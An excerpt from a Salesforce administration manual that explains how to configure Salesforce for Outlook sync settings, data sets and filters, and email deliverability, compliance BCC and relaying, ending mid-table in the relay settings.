Data settings control the sync behavior and email functionality of Salesforce for Outlook. You can define the following settings using the Data Settings fields in a Salesforce for Outlook configuration. Add email Sync direction Conflict behavior Field mappings Matching criteria Modification permissions

Enabling Add Email in Salesforce for Outlook


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view configurations: To create, edit, or delete configurations: To enable Add Email View Setup and Configuration Manage Email Client Configurations Customize Application

Enabling Add Email for your Salesforce for Outlook users adds Add Email and Send and Add buttons to Outlook that let users add emails to Salesforce in a single click. Emails that you add using Salesforce for Outlook are saved in Salesforce and assigned to other records based on your My Email to Salesforce settings. 1. 2. 3. 4. Click Your Name > Setup > Desktop Administration > Outlook Configurations. Click Edit. Select Add Email. Click Save.

925

Administering Salesforce for Outlook

Creating Salesforce for Outlook Configurations

5. If you don't already have Email to Salesforce, click Enable in the popup message to enable both features.

See Also:
Adding Email with Salesforce for Outlook Editing Your Salesforce for Outlook Email Settings Resolving Your Unassigned Emails Creating Salesforce for Outlook Configurations Assigning Users to Salesforce for Outlook Configurations

Defining Sync Directions for Salesforce for Outlook


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view configurations: To create, edit, or delete configurations: View Setup and Configuration Manage Email Client Configurations

Sync direction indicates the direction data flows when Salesforce for Outlook syncs data. 1. Click Your Name > Setup > Desktop Administration > Outlook Configurations. 2. Create or edit a configuration, and select one of these sync directions under Data Settings for each object being synced.
Don't syncOutlook and Salesforce records aren't synced, and you can't select an Outlook folder to sync within the setup wizard. Salesforce.com to OutlookWhen data first syncs, a record in Salesforce creates or updates a record in Outlook. During future syncs, changes made to Salesforce records appear in Outlook, regardless of whether the Outlook version of the record has changed. In addition, deleting a synced record in Salesforce deletes its Outlook counterpart. Outlook changes are never sent to Salesforce. The required conflict behavior setting for this option is Salesforce.com always wins. Outlook to salesforce.comDuring its first sync, a record in Outlook creates or updates a record in Salesforce. During future syncs, changes made to Outlook records appear in Salesforce, regardless of whether the Salesforce version has changed. In addition, deleting a synced record in Outlook deletes its Salesforce counterpart. Salesforce changes are never sent to Outlook. The required conflict behavior setting for this option is Outlook always wins. This option isn't available for contacts. Sync both waysWhen records sync, changes to Outlook records are reflected in Salesforce, and vice versa. If records conflict, the conflict behavior setting determines which record wins.

3. Click Save. All changes take effect the next time data syncs for the users in this configuration.

926

Administering Salesforce for Outlook

Creating Salesforce for Outlook Configurations

4. Define a data set for each object that has a sync direction.

See Also:
Defining Data Sets for Salesforce for Outlook Creating Salesforce for Outlook Configurations Salesforce for Outlook Configurations Overview Defining Conflict Behavior for Salesforce for Outlook Enabling Add Email in Salesforce for Outlook

Defining Conflict Behavior for Salesforce for Outlook


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view configurations: To create, edit, or delete configurations: View Setup and Configuration Manage Email Client Configurations

Conflict behavior settings determine what happens when Salesforce for Outlook encounters a conflict when syncing data both ways. A conflict occurs when the same record is updated in both Salesforce and Outlook or when a record is updated on one side and deleted in the other. 1. Click Your Name > Setup > Desktop Administration > Outlook Configurations. 2. Edit a configuration, and select a conflict behavior under Data Settings for each object being synced. Possible options are:
Salesforce.com always wins Outlook always wins

3. Click Save. All changes take effect the next time data syncs for the users in this configuration.

See Also:
Creating Salesforce for Outlook Configurations Salesforce for Outlook Configurations Overview Mapping Fields for Salesforce for Outlook Defining Sync Directions for Salesforce for Outlook

Mapping Fields for Salesforce for Outlook

927

Administering Salesforce for Outlook

Creating Salesforce for Outlook Configurations

Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view configurations: To create, edit, or delete configurations: View Setup and Configuration Manage Email Client Configurations

Field mappings define which Salesforce and Outlook fields correspond when records sync with Salesforce for Outlook. Salesforce comes with a set of default mappings. You may be able to change some of them. To map fields: 1. Click Your Name > Setup > Desktop Administration > Outlook Configurations 2. Under Data Settings, click Edit Field Mappings to display the list of available fields. 3. Choose a field from the Salesforce Field picklist. This list displays the names of all Salesforce fields that haven't yet been mapped. Caution: If you map a custom field that is universally required, make sure it has a default value to avoid errors. Also, note that mapping custom fields that require validation by Salesforce may cause sync errors. For example, if you map a custom Salesforce field that requires a unique value, you'll get a uniqueness error when you sync if you enter a non-unique value in the Outlook field. 4. Choose a field from the Outlook Field picklist next to the selected Salesforce.com field. This list displays the names of all standard Outlook fields that haven't yet been mapped and that match the data type of the corresponding Salesforce field. 5. To map a Salesforce field to a custom Outlook field, select Custom Field... from the end of the corresponding Outlook Field picklist. Enter the field's name and click OK. The custom field must already exist in Outlook. Letters are not case-sensitive, and these characters aren't allowed: [, ], _, #. The first sync validates that the custom Outlook field exists and then maps it to the Salesforce field. Custom Outlook fields use a string data type. Note that we only allow custom fields for Salesforce text fields and non-restricted picklists. 6. To remove a field mapping, click the delete icon to the right of the mapping. To redo the mapping, just add a new mapping to the bottom of the list. To view your mappings, click View under Field Mapping on the detail page. 7. Click Save. All changes take effect the next time data syncs for the users in this configuration. Note: You can map custom Salesforce fields to standard or custom Outlook fields. You can't map picklist values.

See Also:
Creating Salesforce for Outlook Configurations Salesforce for Outlook Configurations Overview Defining Matching Criteria for Salesforce for Outlook Defining Conflict Behavior for Salesforce for Outlook

928

Administering Salesforce for Outlook

Creating Salesforce for Outlook Configurations

Defining Matching Criteria for Salesforce for Outlook


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view configurations: To create, edit, or delete configurations: View Setup and Configuration Manage Email Client Configurations

If Salesforce for Outlook finds multiple matching contacts when a contact first syncs from Outlook, we pick a Salesforce contact based on the matching criteria you define here. 1. Click Your Name > Setup > Desktop Administration > Outlook Configurations. 2. Edit a configuration, and select one of these matching criteria options under Data Settings for contacts.
Most recent activityChoose the Salesforce contact that shows the most recent activity (such as a phone call

or email), as shown in the contact's Activity History related list. This is the default matching option. Last updatedChoose the Salesforce contact that was most recently modified. OldestChoose the Salesforce contact that has the earliest creation date.

3. Click Save. All changes take effect the next time data syncs for the users in this configuration. If we don't find a matching contact in Salesforce, we create a new contact that syncs with the Outlook contact. We then either automatically assign the synced contact to a Salesforce account, leave it unassigned, or place it in the user's My Unresolved Items page to be manually assigned.

See Also:
Creating Salesforce for Outlook Configurations Salesforce for Outlook Configurations Overview Mapping Fields for Salesforce for Outlook

Letting Users Modify Salesforce for Outlook Settings


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view configurations: To create, edit, or delete configurations: View Setup and Configuration Manage Email Client Configurations

1. Click Your Name > Setup > Desktop Administration > Outlook Configurations.

929

Administering Salesforce for Outlook

Creating Salesforce for Outlook Configurations

2. Edit a configuration, and select any of the following checkboxes under Data Settings for each object being synced. You can allow users to modify:
Whether object is synced Sync direction Conflict behavior Field mappings

3. Click Save. All changes take effect the next time data syncs for the users in this configuration. You can overwrite users' modifications any time by selecting Overwrite configuration changes made by users in a configuration. After you save the updated configuration, the new settings replace the existing settings for users of the configuration the next time their data syncs.

Defining Advanced Settings for Salesforce for Outlook


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view configurations: To create, edit, or delete configurations: View Setup and Configuration Manage Email Client Configurations

Use advanced settings in a Salesforce for Outlook configuration to customize the default behavior of Salesforce for Outlook, such as setting the maximum size of the sync log. Click Edit to change the value of an advanced setting or Remove to remove it from the configuration. 1. 2. 3. 4. Click Your Name > Setup > Desktop Administration > Outlook Configurations. Click Edit. Click Add Advanced Setting in the Advanced Settings section of an Outlook configuration. Choose one of these settings and enter a value. Advanced Setting HTTPTimeout Description Number of seconds Salesforce for Outlook waits while trying to establish an HTTP connection with Salesforce. Value must be between 15 and 360 seconds, and the default is 30. Maximum file size of the sync log you'll maintain. Value must be between 1 and 128 MB, and the default is 1. Number of times Salesforce for Outlook tries to connect to Salesforce. Value must be between 0 and 10, and the default is 3.

MaxLogFileSize MaxRetries

5. Click OK.

930

Administering Salesforce for Outlook

Creating Salesforce for Outlook Configurations

6. Click Save. All changes take effect the next time data syncs for the users in this configuration.

See Also:
Creating Salesforce for Outlook Configurations Salesforce for Outlook Configurations Overview Defining Data Sets for Salesforce for Outlook

Default Salesforce for Outlook Configuration


Available in: Contact Manager and Group Editions

Because Salesforce for Outlook configurations are only available in Professional, Enterprise, Unlimited, and Developer Editions, users of Contact Manager and Group Editions are automatically assigned a default configuration so they can use Salesforce for Outlook. The default configuration has these settings. EmailAdd Email is enabled if Email to Salesforce is turned on. Contacts Sync DirectionSync both ways Conflict BehaviorOutlook always wins Filters
Contacts: User's Records Contacts on Accounts: User's Records Contacts in Chatter: Records User is Following

Field MappingDefault settings Matching CriteriaMost recent activity Events Sync DirectionSync both ways Conflict BehaviorOutlook always wins Filters
User's Records Date greater or equal to LAST 30 DAYS

Field MappingDefault settings Tasks Sync DirectionSync both ways Conflict BehaviorSalesforce.com always wins

931

Administering Salesforce for Outlook

Defining Data Sets for Salesforce for Outlook

Filters
User's Records Due date greater or equal to LAST 30 DAYS

Field MappingDefault settings

Defining Data Sets for Salesforce for Outlook


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view configurations: To create, edit, or delete configurations: To create, edit, or delete data sets: View Setup and Configuration Manage Email Client Configurations Sync Direction can't be Don't sync

Data sets are subsets of the Salesforce records that Salesforce for Outlook users can sync. They consist of filters that limit which records will sync. Each configuration must have a data set in order for users to sync with Outlook. The Outlook Configuration detail page shows a summary of the configuration's current filters. 1. 2. 3. 4. 5. 6. Click Your Name > Setup > Desktop Administration > Outlook Configurations. Click the name of an Outlook configuration. In the Data Sets related list, click Edit. Specify filters. To see how many items will sync, you can check the data set size. Click Save.

See Also:
Sample Salesforce for Outlook Data Sets Tips on Entering Salesforce for Outlook Contact Filters Salesforce for Outlook Configurations Overview Checking the Size of Salesforce for Outlook Data Sets

Learning about Data Sets for Salesforce for Outlook

932

Administering Salesforce for Outlook

Defining Data Sets for Salesforce for Outlook

Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view configurations: To create, edit, or delete configurations: To create, edit, or delete data sets: View Setup and Configuration Manage Email Client Configurations Sync Direction can't be Don't sync

Data sets are subsets of the Salesforce records that Salesforce for Outlook users can sync. They consist of filters that limit which records will sync. Knowing What Syncs Salesforce for Outlook syncs records based on definitions in data sets, along with records related to them. Understanding Limits to Data Sets When using data sets, users can sync up to 5,000 records per filter between Microsoft Outlook and Salesforce at a time. This means that if users have more than 5,000 records to sync based on the configuration of their data sets, Salesforce for Outlook won't sync some of them. In addition, users may find that syncing these large quantities of records may slow down the sync process. You can, however, increase the limits for the number of records users can sync. Just keep in mind that you can't reduce the likelihood of the sync process slowing down. Increasing Limits to Data Sets If your users are working with more than 5,000 records, you can configure their data sets so that they can sync larger quantities of records. To do this, you'll their edit data sets to include additional filters. For example, under Filter By Record Ownership in the Contact Filters section, choose Selected Contacts. Then, choose User's Records under Contacts, Contacts on Opportunities, and Contacts on Accounts. Because the data set now has three filters, your users can now sync up to 15,000 contact records. Keep in mind that these various filters you set up won't necessarily select records that are mutually exclusive. Therefore, the sync process might not sync exactly 15,000 records. To avoid this situation, you can further refine the group of contacts you want to sync. Just define additional parameters under Filter By Additional Objects and Fields. After defining the filters, you can get a record count for your users in the Data Set Size section. To do so, enter a user, and then click Get Record Count. If your users still exceed sync limits for the filters you set up, you users may find that the sync process selects records in a random fashion. About Person Accounts If your organization enabled person accounts and your users have more than 5,000 records in Salesforce, data sets work in a different way. Specifically, Salesforce runs a query first on person accounts that match filter criteria, and then on contacts

933

Administering Salesforce for Outlook

Defining Data Sets for Salesforce for Outlook

assigned to these accounts. So it's possible for the sync process to reach the 5,000 record limit (including person accounts and contacts) and not include some of the contacts your users would expect to sync.

See Also:
Entering Contact Filters for Salesforce for Outlook Entering Event Filters for Salesforce for Outlook Entering Task Filters for Salesforce for Outlook Checking the Size of Salesforce for Outlook Data Sets

Entering Contact Filters for Salesforce for Outlook


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view configurations: To create, edit, or delete configurations: To filter contacts by opportunity teams: To filter contacts by account teams: To create, edit, or delete data sets: View Setup and Configuration Manage Email Client Configurations Opportunity Team Selling Account Teams Sync Direction can't be Don't sync

Data sets are subsets of the Salesforce records that Salesforce for Outlook users can sync. They consist of filters that limit which records will sync. For example, you may want to let certain users sync all contacts, but let other users sync only contacts related to their sales teams. In addition, you can filter by the fields in the records, such as letting users sync only contacts related to specific accounts and opportunities. The Outlook Configuration detail page shows a summary of the configuration's current filters. 1. Define a data set for a configuration. 2. Under Filter By Record Ownership, specify whether users can sync all contacts or only selected ones. 3. If you click Selected Contacts, you can further limit which contacts users can sync using these checkboxes. Contacts User's RecordsSyncs all contacts the user owns User's Team's RecordsSyncs all contacts owned by the user and the user's subordinates in the role hierarchy Contacts on Opportunities User's RecordsSyncs contacts related to the user's opportunities User's Team's RecordsSyncs contacts related to opportunities owned by the user and the user's subordinates in the role hierarchy User's Sales Teams' RecordsSyncs contacts related to opportunities the user is a sales team member of but not opportunities the user owns

934

Administering Salesforce for Outlook

Defining Data Sets for Salesforce for Outlook

Contacts on Accounts User's RecordsSyncs contacts related to the user's accounts User's Team's RecordsSyncs contacts related to accounts owned by the user and the user's subordinates in the role hierarchy User's Account Teams' RecordsSyncs contacts related to accounts the user is a team member of but not accounts the user owns

4. Under Filter By Additional Objects and Fields, add any field-level filters you need. a. Select an object and a field within that object. b. Select the correct filter operator. c. Enter a value for the selected field. 5. Click Add Row to add a new filter or Remove Row to delete the last one in the list. 6. Under Other Contacts to Include, make sure Sync contacts users follow in Chatter is selected if you want Chatter contacts to automatically sync for users of this configuration. 7. You can use the Get Record Count button to check how many records will sync for a sample Salesforce for Outlook user based on the configuration's filters. Note: If you remove access to certain objects by deselecting the Selected Contacts checkboxes, filters for those objects will be marked with a warning icon indicating that they're no longer valid. All marked filters are removed when you save.

See Also:
Tips on Entering Salesforce for Outlook Contact Filters Defining Data Sets for Salesforce for Outlook Sample Salesforce for Outlook Data Sets Checking the Size of Salesforce for Outlook Data Sets

Tips on Entering Salesforce for Outlook Contact Filters


Available in: Professional, Enterprise, Unlimited, and Developer Editions

Contact filters control the number of records that Salesforce for Outlook users can sync between Outlook and Salesforce. Note the following when using contact filters. The criteria you specify are AND based, so if you specify more than one criterion, the result includes only records that match all of the criteria. If entering a date, use the format allowed by your Locale setting. You can also use special date values like TODAY, NEXT WEEK, NEXT YEAR, LAST <number> DAYS, and so on. When searching for numbers or other data that includes commas, place quotation marks around the data. For example: Amount equals "10,000" returns records that have an amount of $10,000. When you use the less than, greater than, less or equal, or greater or equal operators on fields that have numeric values, records with blank or null values are returned as if their value is zero (0).

935

Administering Salesforce for Outlook

Defining Data Sets for Salesforce for Outlook

To limit results to records that are blank or contain null values for a particular field, choose the field and the equals or not equal to operators, leaving the third field blank. For example, Amount equals returns records with blank amount fields. You can search for blank values or other specified values at the same time. For example, Amount equals 1,,2 returns records where the Amount is blank or contains the value 1 or 2. For example, if you create a workflow a filter for accounts with the criteria Annual Revenue less than 100000, account records match if their Annual Revenue is blank. To search for phone numbers, you might need to include the exact phone number formatting; for example, Phone starts with (561). To create a filter that includes more than one value, enter your search terms, separated by commas, in the corresponding field. You can enter up to 80 characters, including commas and spaces. For example, to search for accounts in California, New York, or Washington, use State contains CA, NY, WA. When you filter on standard long text area fields, such as Description, only the first 1000 characters of the field are searched. You can use the Get Record Count button to check how many records will sync for a sample Salesforce for Outlook user based on the configuration's filters. If you need to reference user information in your contact filters, you can add the following merge fields to them. Merge Field
$User.ID

Description References the ID of the current user. This merge field can be applied to fields that contain a user lookup. The valid operators for this merge field are Equals and Not Equal To. When creating mobile view filters that reference an owner field, you can only use the $User.ID merge field. References the username of the current user. This merge field can be applied to any text or lookup field, except picklists. The valid operators for this merge field are Equals, Not Equal To, Greater Than or Equal, Less Than or Equal, Contains, Does Not Contain, and Starts With. References the first name of the current user. This merge field can be applied to any text or lookup field, except picklists. The valid operators for this merge field are Equals, Not Equal To, Greater Than or Equal, Less Than or Equal, Contains, Does Not Contain, and Starts With. References the last name of the current user. This merge field can be applied to any text or lookup field, except picklists. The valid operators for this merge field are Equals, Not Equal To, Greater Than or Equal, Less Than or Equal, Contains, Does Not Contain, and Starts With. References the first and last name of the current user. This merge field can be applied to any text or lookup field, except picklists. The valid operators for this merge field are Equals,

$User.Username

$User.Firstname

$User.Lastname

$User.Fullname

936

Administering Salesforce for Outlook

Defining Data Sets for Salesforce for Outlook

Merge Field

Description Not Equal To, Greater Than or Equal, Less Than or Equal, Contains, Does Not Contain, and Starts With.

See Also:
Entering Contact Filters for Salesforce for Outlook Defining Data Sets for Salesforce for Outlook Checking the Size of Salesforce for Outlook Data Sets

Entering Event Filters for Salesforce for Outlook


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view configurations: To create, edit, or delete configurations: To create, edit, or delete data sets: View Setup and Configuration Manage Email Client Configurations Sync Direction can't be Don't sync

Data sets are subsets of the Salesforce records that Salesforce for Outlook users can sync. They consist of filters that limit which records will sync. For example, most users may sync only current and future events, while some users may need to also sync past events. Salesforce for Outlook syncs events based on their end dates rather than their start dates. For example, if you're syncing current and future events only, a two-day event that started yesterday still syncs. The Data Sets section of the Outlook Configuration detail page shows a summary of the configuration's current event filters. 1. Define a data set for a configuration. 2. Under Events, enter one of these filters in the Greater or equal to field.
TODAYSyncs events that end on or after today. The start time is 12:00 a.m. LAST MONTHSyncs events that ended on or after the first day of last month. LAST N DAYSSyncs events that ended on or after a specified number of days ago, such as LAST 30 DAYS.

3. You can use the Get Record Count button to check how many records will sync for a sample Salesforce for Outlook user based on the configuration's filters. 4. Save the data set.

937

Administering Salesforce for Outlook

Defining Data Sets for Salesforce for Outlook

Note: The following items don't sync: recurring events, all-day events beginning on the first day you're configured to sync, and event attendees. Multiday events sync as single events in either direction. Multi-day events do sync.

See Also:
Sample Salesforce for Outlook Data Sets Syncing Events with Salesforce for Outlook Checking the Size of Salesforce for Outlook Data Sets

Entering Task Filters for Salesforce for Outlook


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view configurations: To create, edit, or delete configurations: To create, edit, or delete data sets: View Setup and Configuration Manage Email Client Configurations Sync Direction can't be Don't sync

Data sets are subsets of the Salesforce records that Salesforce for Outlook users can sync. They consist of filters that limit which records will sync. For example, most users may sync past-due tasks, while other users sync only current and future tasks. Salesforce for Outlook syncs tasks based on their due dates rather than their start dates. For example, if you're syncing current and future tasks only, a task that started yesterday still syncs. The Data Sets section of the Outlook Configuration detail page shows a summary of the configuration's current task filters. To enter task filters: 1. Define a data set for a configuration. 2. Under Tasks, enter one of these filters in the Greater or equal to field.
TODAYSyncs tasks that are due on or after today. The start time is 12:00 a.m. LAST MONTHSyncs tasks that were due on or after the first day of last month. LAST N DAYSSyncs tasks that were due on or after a specified number of days ago, such as LAST 30 DAYS. The maximum number allowed is 180.

3. You can use the Get Record Count button to check how many records will sync for a sample Salesforce for Outlook user based on the configuration's filters. 4. Save the data set.

938

Administering Salesforce for Outlook

Defining Data Sets for Salesforce for Outlook

Note: Recurring tasks and items flagged for follow-up on your Outlook To-Do list don't sync.

See Also:
Sample Salesforce for Outlook Data Sets Syncing Tasks with Salesforce for Outlook Salesforce for Outlook Configurations Overview

Sample Salesforce for Outlook Data Sets


Available in: Professional, Enterprise, Unlimited, and Developer Editions

Because Salesforce for Outlook users with the same role usually have similar data requirements, many administrators create Outlook configurations based on the positions in their organization. Below are sample data sets for common Salesforce groups. Your Outlook users have unique needs, but you can use these examples as a reference to help you get started with Outlook configurations. Sales Manager Sales managers usually need to see records they own and the records of the users who report to them. In addition, they need to see the latest contact information for anyone associated with large deals in the pipeline and any upcoming meetings that might be related to these deals. They may also like to have their Chatter contacts in Outlook. Sample Outlook Configuration for Sales Managers:
Contacts Contacts: User's Records, User's Team's Records Contacts on Opportunities: User's Team's Records Contacts on Accounts: User's Team's Records Contacts in Chatter: Records User is Following Events Events: User's Records Date greater or equal TODAY Tasks Tasks: User's Records Date greater or equal TODAY

Sales Engineer Sales Engineers often only need the contacts owned by them and the other members of their sales teams. They may also want their Chatter contacts, a record of the past month's meetings, and a schedule of all future meetings. Sample Outlook Configuration for Sales Engineers:
Contacts Contacts: User's Records Contacts on Opportunities: User's Sales Teams' Records Contacts in Chatter: Records User is Following

939

Administering Salesforce for Outlook

Defining Data Sets for Salesforce for Outlook

Events Events: User's Records Date greater or equal LAST MONTH Tasks Tasks: User's Records Date greater or equal LAST MONTH

Account Executive Account executives need to see contacts related to their accounts and opportunities. The opportunities are filtered so only contacts related to open opportunities with a probability over 40% sync. They'd also like to sync their Chatter contacts, all future meetings, and all meetings from the last two months. Sample Outlook Configuration for Account Executives:
Contacts Contacts on Opportunities: User's Records (Probability (%) greater than 40) AND (Stage not equal to Closed Won,Closed Lost Contacts on Accounts: User's Records Contacts in Chatter: Records User is Following Events Events: User's Records Date greater or equal LAST 60 DAYS Tasks Tasks: User's Records Date greater or equal LAST 60 DAYS

See Also:
Defining Data Sets for Salesforce for Outlook Entering Contact Filters for Salesforce for Outlook Entering Event Filters for Salesforce for Outlook Entering Task Filters for Salesforce for Outlook

Checking the Size of Salesforce for Outlook Data Sets


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view Outlook data sets: To test Outlook data sets: View Setup and Configuration Manage Email Client Configurations

You can use the Get Record Count button to check how many records will sync for a sample Salesforce for Outlook user based on the configuration's filters. If the numbers are too high or low, you can adjust the filters and check the size again. The maximum record count is 5000 per object.

940

Email Administration

Configuring Deliverability Settings

1. Define a data set for a configuration. 2. Under Data Set Size, click the lookup icon next to the User field. 3. Select a user. To test maximum size, choose a user who owns a lot of records, even one who may not be currently assigned to the configuration. 4. Click Get Record Count. The number of records that would sync between Outlook and Salesforce for that user appear. 5. Adjust the filters or selected user and retest the data set as needed. Nothing is saved until you click Save.

See Also:
Defining Data Sets for Salesforce for Outlook

EMAIL ADMINISTRATION
Configuring Deliverability Settings
Available in: All Editions except Database.com

User Permissions Needed To configure email deliverability: Customize Application

To improve the deliverability of email you send from Salesforce, configure your organization's email deliverability settings. Email deliverability is the likelihood of a companys or individuals email reaching its intended recipient. This likelihood is adversely affected by: Bounced email Email that is addressed to an invalid recipient and returned to the sender. If a sender sends several email messages that bounce, the email server might slow or block the delivery of all email from that sender. Noncompliant email Email that does not comply with a recipient's email security framework, such as the Sender Policy Framework (SPF), which verifies that the From address in an email message is not forged. Caution: If you plan to activate both bounce management and email relaying, check with your email administrator to ensure that your organization's email server allows the relaying of email sent from salesforce.com; otherwise, the email you send from Salesforce may not get delivered. For information on email relaying, see Setting Up Email Relaying on page 945. To configure the email deliverability settings for your organization: 1. Click Your Name > Setup > Email Administration > Deliverability.

941

Email Administration

Configuring Deliverability Settings

2. Select the Activate bounce management checkbox to help ensure that the email addresses you have for your contacts, leads, and person accounts are correct, and that the email your users send to those addresses is not impeded due to excessive email bounces. When bounce management is activated and a user sends an email to a contact, lead, or person account with an invalid email address, Salesforce displays an alert next to that email address and prevents users from sending email to the address until it is updated or confirmed. Also, the email bounces to Salesforce instead of the sender's personal email account. Tip: Use the Bounced Contacts and Bounced Leads standard reports to view a list of email all addresses that have bounced email. The report includes the reason the email was bounced, the date the bounce occurred, and the contact, lead, or person account that bounced the email. See Reports Overview on page 2607 for more information. 3. Select the Show bounce alert next to all instances of the email address checkbox to configure Salesforce to search all lead, contact, and person account records for instances of any email address that bounces an email and to display a bounce alert next to each instance. If you do not select this option, Salesforce only displays the bounce alert on the record from which the email was originally sent. 4. Select the Return bounced email to sender checkbox to configure Salesforce to send a copy of the bounced email header to the sender. If you do not select this option, only Salesforce receives the bounced email header. In either case, for security purposes Salesforce does not return the body of the bounced email to the sender. This option applies to all users in your organization and cannot be enabled per user or per email. 5. Select the Enable compliance with standard email security mechanisms checkbox to automatically modify the envelope From address of every email you send from Salesforce to comply with email security frameworks that your recipients might implement, such as SPF. Many recipient email systems enforce SPF to verify whether an email is legitimate. SPF checks the envelope From address of an inbound email to verify legitimacy. If this feature is enabled, Salesforce changes the envelope From address to a salesforce.com email address to verify the sender's legitimacy. The header From address remains set to the sender's email address. Note: For more information on SPF, see www.openspf.org.

6. Select the Enable Sender ID compliance checkbox to comply with the Sender ID framework. This will automatically populate the Sender field in the envelope of every email you send from Salesforce with no-reply@salesforce.com. This enables receiving mail servers using the Sender ID email authentication protocol to verify the sender of an email by examining the Sender and From headers of an inbound email through a DNS lookup. All replies will still be delivered to the sender's email address. If you do not select this checkbox, the Sender field is set to null and email delivery fails when a recipient email system performs a Sender ID check. Note: Salesforce.com strongly recommends enabling Sender ID compliance. This is enabled by default. If you enable Sender ID compliance, the recipient's email client may append the phrase Sent on behalf of to the From field of email received from Salesforce. For more information on Sender ID, see www.microsoft.com/mscorp/safety/technologies/senderid/default.mspx.

7. If you want Salesforce to send users a status email when their mass emails are complete, select Notify sender when mass email completes. 8. To specify how Salesforce uses the Transport Layer Security (TLS) protocol for secure email communication for SMTP sessions, choose one of the following:

942

Email Administration

Enabling Compliance BCC Emails

Preferred (default): If the remote server offers TLS, Salesforce upgrades the current SMTP session to use TLS. If

TLS is unavailable, Salesforce continues the session without TLS. Required: Salesforce continues the session only if the remote server offers TLS. If TLS is unavailable, Salesforce terminates the session without delivering the email. Preferred Verify: If the remote server offers TLS, Salesforce upgrades the current SMTP session to use TLS. Before the session initiates, Salesforce verifies the certificate is signed by a valid certificate authority, and that the common name presented in the certificate matches the domain or mail exchange of the current connection. If TLS is available but the certificate is not signed or the common name does not match, Salesforce disconnects the session and does not deliver the email. If TLS is unavailable, Salesforce continues the session without TLS. Required Verify: Salesforce continues the session only if the remote server offers TLS, the certificate is signed by a valid certificate authority, and the common name presented in the certificate matches the domain or mail exchange to which Salesforce is connected. If any of these criteria are not met, Salesforce terminates the session without delivering the email. Note: If you select a setting other than Preferred (the default setting), select Restrict TLS to these domains and specify a comma-separated domain list. The asterisk (*) wildcard is allowed; for example, *.subdomains.com matches john@aco.subdomains.com and john@bco.subdomains.com (but not john@subdomains.com). If you don't specify domains, Salesforce uses the TLS setting you specify for all outbound emails, which may result in emails not being delivered.

9. Click Save.

See Also:
Sending Email Enabling Compliance BCC Emails Setting Up Email Relaying Testing Deliverability

Enabling Compliance BCC Emails


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable or disable compliance BCC email: Customize Application

If your organization evaluates all outbound email messages for compliance, you can enable compliance BCC emails to automatically send a hidden copy of each outbound email message to an email address you specify. Enabling compliance BCC emails prevents users from editing the BCC field on any email and disables their Automatic Bcc setting under My Email Settings. To enable compliance BCC emails for your organization: 1. Click Your Name > Setup > Email Administration > Compliance BCC Email. 2. Select the Enable checkbox.

943

Email Administration

Testing Deliverability

3. Enter your compliance email address. 4. Click Save. Note: The BCC email is automatically sent to the address you specify for any emails your users send, excluding system emails such as password reset or import completion notifications.

See Also:
Configuring Deliverability Settings Setting Up Email Relaying Testing Deliverability

Testing Deliverability
Available in: All Editions except Database.com

User Permissions Needed To test email deliverability: Modify All Data

Salesforce sends email from 54 different IP addresses. If your organization blocks any of these IP addresses, users might not receive all email sent from Salesforce. To verify your organization can receive email from every Salesforce IP address: 1. Click Your Name > Setup > Administration Setup > Email Administration > Test Deliverability. 2. Enter your business email address. 3. Click Send. Salesforce simultaneously sends a test message from all 54 IP addresses to your business email address. Each test message specifies the IP address from which it was sent. 4. Check your business email account to make sure it received all 54 test messages. If you received less than 54 test messages, your organization's email administrator must whitelist the Salesforce IP ranges on your organization's email server. Whitelisting an IP address allows the email server to receive email from an IP address that might otherwise be blocked. The Salesforce IP ranges are: 96.43.144.64 to 96.43.144.65 96.43.148.64 to 96.43.148.65 182.50.78.64 to 182.50.78.79 202.129.242.64 to 202.129.242.65 204.14.232.64 to 204.14.232.79 204.14.234.64 to 204.14.234.79

944

Email Administration

Setting Up Email Relaying

Note: If your organization activates email relaying, your email administrator only needs to whitelist the IP addresses Salesforce uses for email relaying (96.43.144.65, 96.43.148.65, 182.50.78.65, 202.129.242.65, 204.14.232.65, and 204.14.234.65). For information on email relaying, see Setting Up Email Relaying on page 945.

See Also:
Configuring Deliverability Settings Enabling Compliance BCC Emails

Setting Up Email Relaying


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To configure email relaying: Modify All Data

Email relaying is using an email server to send email that did not originate on the email server. Companies set up email relaying to: Route all email through their own email servers to avoid the appearance of email spoofing by Salesforce. Email spoofing is the forging of email headers to make messages appear as if they came from someone other than the original sender. Store copies of all email as required by government regulations in various industries. Apply existing content filters that scan messages for data and content that is not approved to be sent out through company email. Run outbound email through antivirus software before sending it to customers. Append data such as company-wide disclaimers at the bottom of email messages.

You can set up email relaying for Salesforce-generated email by configuring Salesforce to automatically route email through your company's Simple Mail Transfer Protocol (SMTP) server. Contact salesforce.com to enable email relaying for your organization. Caution: If you plan to activate both bounce management and email relaying, check with your email administrator to ensure that your organization's email server allows the relaying of email sent from salesforce.com; otherwise, the email you send from Salesforce may not get delivered. For more information on bounce management, see Configuring Deliverability Settings on page 941. To set up email relaying: 1. Click Your Name > Setup > Email Administration > Email Relay Activation. 2. Configure the following settings:

945

Email Administration

Setting Up Email Relaying

Setting
Email Host

Description The host name or IP address of your company's SMTP server. Obtain this information from your email administrator. Important: If you plan to use Transport Layer Security (TLS) with this connection, enter the host name instead of the IP address. TLS requires the host name for verifying certificates. For host names, use the following format:
<mail server>.<domain>.<domain extension>

For example:
mail.acme.com

Port

